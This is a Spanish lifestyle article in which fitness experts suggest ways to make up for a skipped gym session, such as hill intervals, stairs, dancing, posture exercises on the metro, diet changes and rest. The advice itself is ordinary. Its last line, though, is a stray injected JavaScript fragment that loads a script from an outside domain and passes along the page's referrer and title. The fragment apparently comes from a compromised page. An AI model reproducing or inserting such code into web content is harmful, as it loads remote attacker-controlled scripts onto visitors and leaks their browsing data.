Subir y bajar cuestas, abdominales hipopresivos en el metro… Si te vas a saltar un entrenamiento, esto es lo que puedes hacer.
Hablamos con varios expertos para resumir las alternativas que puedes llevar a cabo para compensar (que no sustituir) un día sin gym.
- Sube y baja 8 ó 10 cuestas
Si tu objetivo es quemar grasas, para Ángel Merchán, director de Home Wellness Madrid, va a resultar efectivo compensar esa falta al gimnasio realizando 8 ó 10 cuestas. “Desde el punto de vista de quema de grasas va a ser mucho más efectivo que irse a andar una hora”, afirma insistiendo en la idea que de que los intervalos de alta intensidad son los más efectivos para quemar. Así que si te decantas por esta opción busca una cuesta y anda cuesta arriba a toda velocidad durante 30 segundos y baja después andando. Repite entre 8 y 10 veces.
- Da un buen paseo
Aunque dar un largo paseo no va a sustituir un entrenamiento cardiovascular de alta intensidad, ya que se trata de una modalidad entrenamiento LISS (entrenamiento de cardio prolongado de baja intensidad), también te va a ayudar a compensar esa falta puntual de entrenamiento. Eso sí, tal y como apunta Albert Marco, CEO de Snap Fitness, si el día que te saltas el gym te tocaba tonificar determinados grupos musculares, aunque el paseo es una alternativa para compensar, deberías intentar recuperar esa sesión en cuanto tengas ocasión.
- Sube y baja escaleras
“Subir y bajar escaleras es un buen ejercicio cardiovascular y un buen ejercicio para el trabajo de las piernas siempre que no haya contraindicaciones personales”, afirma Albert Marco. Y aunque es difícil cuantificar el número de escaleras y de veces que tendrías que bajar y subir para obtener resultados –la eficacia de este ejercicio también dependerá de tu peso, de tu composición corporal, del ritmo…–, hay una conclusión clara: “Cuantos más pisos y escaleras subamos, mayor será el gasto calórico”, añade Merchán. ¿Los beneficios de este gesto? Además de la quema de calorías, se implican unos cuantos músculos que también se verán beneficiados, sobre todo glúteos, isquiotibilaes, gemelos y cuádriceps.
- Sal a bailar
Es otra manera de compensar. Porque te va a hacer sentir muy bien y porque, si bailas de forma intensa, podrás quemar unas cuantas calorías. “Todo va a depender de la intensidad que le metamos al baile, pero una hora puede suponer entre 400 y 600 kcal”, explica Merchán.
- ¿Abdominales en el metro?
Es una de las propuestas de Julie Ferrez, que en su libro Gimnasia para perezosas, explica así este ejercicio que se puede llevar a cabo en el autobús o en el metro para reforzar los abdominales y fortalecer la postura: sentada, yergue la espalda y despégala del respaldo. Cierra los ojos y déjate acunar por los movimientos del vehículo. Hazlo encogiendo el vientre al tiempo que procuras mantener la espalda recta. Inhala por la nariz y exhala por la boca contrayendo el perineo y manteniendo el ombligo hundido. Realiza el ejercicio durante 5 respiraciones y después haz una pausa antes de reiniciar tres series más.
- Ajusta tu dieta ese día
“Adecuar las cantidades y proporciones de lo que comemos en base a la actividad física que realizamos siempre será muy importante. No obstante, la alimentación nunca sustituirá los efectos del ejercicio”, nos explica el experto de Snap Fitness. Por tanto, el día que vas al gym puedes intentar reajustar la ingesta calórica intentando comer algo menos que el día que sí que vas. “No tenemos las mismas necesidades calóricas un día que estamos en casa en el sofá vaiendo películas que un día que nos vamos a recorrer la ciudad andando (y, además, vamos al gimnasio)”, explica el director de Home Wellness Madrid.
- Y al día siguiente en el gym…
Debemos insistir en la idea que nos explica el experto de Snap Fitness. “Si una persona se salta una sesión de entrenamiento puntualmente no pasa absolutamente nada”. No obstante, si tu condición física te lo permite, puedes intentar compensar de alguna manera el día que vayas otra vez al gimnasio con una sesión algo más larga o más intensa. “Puede ser una buena estrategia. Normalmente va a ser más efectivo meter más intensidad que duración”, apunta Merchán, incidiendo en la idea de que hacer un entrenamiento más largo puede restarle efectividad al mismo si no somos capaces de mantener la intensidad deseada durante más tiempo. Por eso, intenta compensar en el gym solo si puedes. Si no, mantén tu rutina habitual de entrenamiento.
- Descansar es importante (y necesario)
Para obtener resultados con tu rutina de entrenamiento tan importante es ejercitar tu cuerpo como respetar los periodos de descanso. “El descanso es tan importante como el ejercicio y darse algo más de descanso puntualmente puede ser incluso positivo”, explica Albert Marco. Por eso, aunque lleves a cabo alguna de las recomendaciones anteriores, es importante que no te obsesiones si un día te saltas tu workout. “También puedes compensar descansando, quedando para charlar con amigos, disfrutando de un día en la playa, yendo al cine, compartiendo tiempo con tu familia, haciendo el deporte que te gusta, dedicando tiempo a tus hobbies… En definitiva, cualquier cosa que nos haga sentir felices. Esto también es importante para la salud y, en realidad, tendría que ser nuestra principal motivación para ir al gimnasio: poder seguir haciéndolo”, añade el experto.
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
